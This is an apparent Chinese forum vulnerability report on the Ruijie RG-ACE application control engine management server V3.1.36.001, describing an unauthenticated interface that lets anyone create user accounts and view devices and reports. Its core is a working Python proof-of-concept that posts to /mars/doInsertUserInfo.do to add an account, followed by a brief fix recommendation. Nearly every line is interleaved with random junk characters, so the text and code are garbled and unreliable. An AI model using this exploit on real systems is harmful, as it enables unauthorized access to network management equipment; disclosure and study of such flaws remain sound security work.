锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
$ g% @& B* u$ i& n- c$ R* M% B% J. z: |9 L1 H+ D
" a& X- F9 L* Y3 t1 H
测试的具体版本是9 G3 W9 m0 ` {
产品名称: 锐捷应用控制引擎
, Z7 [% h: N+ i$ o版本号: 3.1.36.001 TC1 G, `7 P& j7 `4 Q: a( _) B9 {
编译时间: 201104291730' z4 ]9 z& ~) _- b4 q" b
; I: |- F) y" X8 T4 Q$ y: E5 C! W5 c
漏洞证明:( g' q0 n, ~' v5 {6 H7 h
0 ?2 y* z1 x& g8 b( H# A7 Q# E0 M# {) }# G" x1 k/ |
5 q4 j- ^0 g' ?; w' j+ V- v. d
% z) C' ~$ Y8 |: \8 |# m/ o
, v2 |5 V! e: b7 `3 R7 s2 ?9 @1 y. n( i! M
执行脚本% c; }: R- X* |. G s
#! /usr/bin/env python
. p% M) |6 j9 y. w1 g#coding=gbk
9 q" M) ^: y% B* Q. O#RG-ACE管理服务器 V3.1.36.001! o" X+ ]8 c1 a$ n% H7 r1 y# {- V$ I
import urllib2, urllib,cookielib
2 W9 l$ S) z6 {, ?" Ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP' n7 e' M3 I' T: n7 j6 N o
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
9 ^' ?. L4 S5 K7 m4 z6 J6 [opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]1 K7 E) C& T) @7 L9 ]) v* H
post=(("event","userManager.doInsertUserInfo"),
( q1 i1 K3 l- |1 |+ R+ t, e1 s("useractionname","addButtonValue"),
& h8 R7 X' y, g1 L, L% D) @! N("useropermanager","userManager"),1 \" d7 X4 e$ a( N
("userName","t"), #######账号自己加" L! t8 k" e5 h ^7 G9 {" y
("pwd","aaaaaa"),######密码自己加 v3 j1 a% J+ Z, h) a; M$ }
("trueName","ad"),
/ @* T8 K( G( K" a; D("email",""),( K" _2 K' k0 ^$ r7 P3 o
("mobilePhone",""),
9 W% y' c6 I: ^0 a9 l7 P& U6 F6 D("officePhone",""),
4 ]4 G3 b7 x2 q$ b: ^' t("addr",""),# h$ m0 c. J4 a- y, z# h3 j% |
("submit","确定")), L) T \3 U( S8 y% x9 G. s
urllib2.install_opener(opener)
3 l$ h, f% z; I8 H; b% v3 Op=urllib2.urlopen(url, urllib.urlencode(post)).read()% I; @+ a1 N- _2 V! B
print "Done"; M! N/ e& H" W4 m
/ d* d L5 \- t4 r登录,连接设备
: r% T; H! L: f# A$ R$ T% x
/ C' S3 z- L @% v3 y" d) x* Q* y- M/ m' {" C0 T
* \/ \- K) \5 `: ^" _3 s% f- O- _. L8 n1 v( i0 \$ T& e7 _. w
; j: x% Q- \7 t5 V' o& j
默认的管理员admin权限更大点
* E) G7 W1 Y5 e& w; @# q: x5 u! g4 S$ q7 W) t& u! j" `
1 Q, m' C* y7 b3 X6 Y
' K9 y* c1 n0 Q& g* D( \' y) K% B
- J! i9 n2 p; J, b, O* q1 s9 T
" n( b/ P4 i, K! R2 S& l( g4 f修复方案:
$ `: w( K% B1 @ v* _% [$ v加强对接口的权限验证( k8 P4 Z% ^- E
. N) c# j5 a' U9 n. z- d+ z |